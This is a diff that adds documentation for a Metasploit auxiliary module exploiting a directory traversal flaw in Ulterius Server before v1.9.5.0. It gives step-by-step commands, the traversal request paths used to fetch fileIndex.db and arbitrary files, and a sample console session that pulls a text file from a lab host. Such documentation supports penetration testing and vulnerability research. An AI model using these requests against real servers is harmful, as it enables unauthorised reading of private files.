|
| 1 | +## Overview |
| 2 | + |
| 3 | +This module exploits a directory traversal vulnerability in [Ulterius Server < v1.9.5.0](https://github.com/Ulterius/server/releases). The directory traversal flaw occurs in Ulterius Server's HttpServer.Process function call. While processing file requests, the HttpServer.Process function does not validate that the requested file is within the web server's root directory or a subdirectory. |
| 4 | + |
| 5 | +## Verification Steps |
| 6 | + |
| 7 | +- [ ] Install Ulterius Server < v1.9.5.0 |
| 8 | +- [ ] `./msfconsole` |
| 9 | +- [ ] `use auxiliary/admin/http/ulterius_file_download` |
| 10 | +- [ ] `set index true` |
| 11 | +- [ ] `set targeturi '/…/fileIndex.db'` |
| 12 | +- [ ] `set rhost <rhost>` |
| 13 | +- [ ] `run` |
| 14 | +- [ ] Verify loot contains file system paths from remote file system. |
| 15 | +- [ ] `set index false` |
| 16 | +- [ ] `set targeturi '/C:/<path>/<to>/<file>'` |
| 17 | +- [ ] `run` |
| 18 | +- [ ] Verify contents of file |
| 19 | + |
| 20 | +## Exploiting the Vulnerability |
| 21 | + |
| 22 | +When requesting a file, a relative or absolute file path is needed so the appropriate request can be generated. Fortunately, Ulterius Server creates a file called fileIndex.db, which contains filenames and directories located on the server. By requesting fileIndex.db and parsing the retrieved data, absolute file paths can be retrieved for files hosted on the server. Using the information retrieved from parsing fileIndex.db, additional requests can be generated to download desired files. |
| 23 | + |
| 24 | +As noted in the [EDB PoC](https://www.exploit-db.com/exploits/43141/), the fileIndex.db is usually located at: |
| 25 | + |
| 26 | +`http://ulteriusURL:22006/.../fileIndex.db` |
| 27 | + |
| 28 | +Note: 22006 was the default port after setting up the Ulterius Server. |
| 29 | + |
| 30 | +After retrieving absolute paths for files, the files can be retrieved by sending requests of the form: |
| 31 | + |
| 32 | +`http://ulteriusURL:22006/<DriveLetter>:/<path>/<to>/<file>` |
| 33 | + |
| 34 | +Note: The [EDB PoC](https://www.exploit-db.com/exploits/43141/) used relative paths to download files but absolute paths can be used on Windows-platforms as well, because the HttpServer.Process function made use of the [Path.Combine](https://msdn.microsoft.com/en-us/library/fyy7a5kt(v=vs.110).aspx) function. |
| 35 | + |
| 36 | +> If *path2* includes a root, *path2* is returned. |
| 37 | +
|
| 38 | +## Example Execution |
| 39 | + |
| 40 | +This module was testing on Windows 7 SP1 x64. |
| 41 | + |
| 42 | +``` |
| 43 | +msf5 auxiliary(admin/http/ulterius_file_download) > options |
| 44 | +
|
| 45 | +Module options (auxiliary/admin/http/ulterius_file_download): |
| 46 | +
|
| 47 | + Name Current Setting Required Description |
| 48 | + ---- --------------- -------- ----------- |
| 49 | + INDEX false no Attempt to retrieve and parse fileIndex.db |
| 50 | + Proxies no A proxy chain of format type:host:port[,type:host:port][...] |
| 51 | + RHOST yes The target address |
| 52 | + RPORT 22006 yes The target port (TCP) |
| 53 | + SSL false no Negotiate SSL/TLS for outgoing connections |
| 54 | + TARGETURI / yes The path of the web application |
| 55 | + VHOST no HTTP server virtual host |
| 56 | +
|
| 57 | +msf5 auxiliary(admin/http/ulterius_file_download) > set index true |
| 58 | +index => true |
| 59 | +msf5 auxiliary(admin/http/ulterius_file_download) > set targeturi '/.../fileIndex.db' |
| 60 | +targeturi => /.../fileIndex.db |
| 61 | +msf5 auxiliary(admin/http/ulterius_file_download) > set rhost 172.22.222.122 |
| 62 | +rhost => 172.22.222.122 |
| 63 | +msf5 auxiliary(admin/http/ulterius_file_download) > run |
| 64 | +
|
| 65 | +[*] Starting to parse fileIndex.db... |
| 66 | +[*] Remote file paths saved in: filepath |
| 67 | +[*] Auxiliary module execution completed |
| 68 | +msf5 auxiliary(admin/http/ulterius_file_download) > set index false |
| 69 | +index => false |
| 70 | +msf5 auxiliary(admin/http/ulterius_file_download) > set targeturi '/C:/users/pwnduser/desktop/tmp.txt' |
| 71 | +targeturi => /C:/users/pwnduser/desktop/tmp.txt |
| 72 | +msf5 auxiliary(admin/http/ulterius_file_download) > run |
| 73 | +
|
| 74 | +[*] Username: pwnduser |
| 75 | +Password: pleasedonthackme |
| 76 | +^not the actual password... nice try |
| 77 | +[*] Auxiliary module execution completed |
| 78 | +msf5 auxiliary(admin/http/ulterius_file_download) > |
| 79 | +``` |
0 commit comments